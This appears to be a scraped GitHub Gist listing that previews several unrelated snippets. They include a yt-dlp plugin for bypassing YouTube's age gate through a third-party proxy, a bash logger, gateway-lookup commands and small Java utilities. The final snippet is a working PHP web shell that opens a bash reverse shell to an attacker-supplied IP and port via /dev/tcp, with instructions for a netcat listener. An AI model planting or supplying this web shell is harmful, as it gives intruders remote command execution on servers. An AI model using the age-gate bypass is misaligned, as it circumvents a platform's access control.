This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
SPDX-License-Identifier: MIT https://opensource.org/licenses/MIT | |
Copyright © 2022 [email protected] | |
yt-dlp plugin extractor to bypass youtube age-gate | |
Needs yt-dlp 2022.04.08 or above | |
See https://github.com/yt-dlp/yt-dlp#plugins for how to use | |
Uses account proxy https://youtube-proxy.zerody.one by https://github.com/zerodytrash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## SETUP (DO NOT EDIT) ## | |
logfile_name=${logfile_prefix}$(date +$logfile_date_format)"."${logfile_ext} | |
logfile_working_path=${logfile_location}"/"${logfile_name} | |
## -- ## | |
## FUNCTIONS ## | |
# log(contents) -> void |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Default Gateway | |
Linux/Unix (for gateway): Determine which to use via "type netstat", skipping to the second if this check fails (contains the word "not found") | |
netstat -nr -f inet | grep "UG" | tail -1 | awk "{print $2}" | |
ip route | grep "^default" | head -1 | awk "{print $3}" | |
Linux/Unix (for base addr): Determine which to use via "type netstat", skipping to the second if this check fails (contains the word "not found") | |
netstat -nr -f inet | grep "U " | tail -1 | awk "{print $1}" | |
ip route | tail -1 | awk "{print $1}" | |
MacOS (for gateway): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Import Java classes and dependencies | |
import java.util.Arrays; | |
/** | |
* A small chat moderation tool used to detect the | |
* use excessive "caps", or capital letters in a | |
* message. Has a default tolerance of 50% and | |
* minimum string length of 10, but these values | |
* can be tweaked. Also contains static string | |
* character analysis methods for aiding in the |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.regex.Matcher; | |
import java.util.regex.Pattern; | |
public class BukkitFormatting { | |
public static String fixCodesToLowerCase(String codeStr){ | |
//Create a StringBuilder to hold the input string | |
StringBuilder codeSB = new StringBuilder(codeStr); | |
//Set the pattern to use on the string (section sign + color code) | |
Pattern codePtn = Pattern.compile("\\u00A7[A-FK-OR]", Pattern.CASE_INSENSITIVE); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.ArrayList; | |
public class EveryOther { | |
public static ArrayList<Integer> everyOdd(int sNum, int eNum){ | |
//Make the arraylist to hold the numbers | |
ArrayList<Integer> oddArr = new ArrayList<>(); | |
//Start looping through the provided range of numbers | |
for(int i=sNum; i<=eNum; i++){ | |
//Check if the number isn't divisible by two |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset ($_REQUEST["shell"])){$ip = $_REQUEST["ip"];$port = $_REQUEST["port"];exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");} | |
?> | |
<!-- | |
USAGE (reverse shell/server): url-to-file.php?shell&ip=<attacker ip>&port=<attacker port> | |
USAGE (reverse shell/client): (in netcat) nc -v -l -p <attacker port> | |
NOTE (reverse shell): The ip (lan if on the same network, wan if it's a remote server) and port of the attacker and target must be the same or else no connection will be established. | |
--> |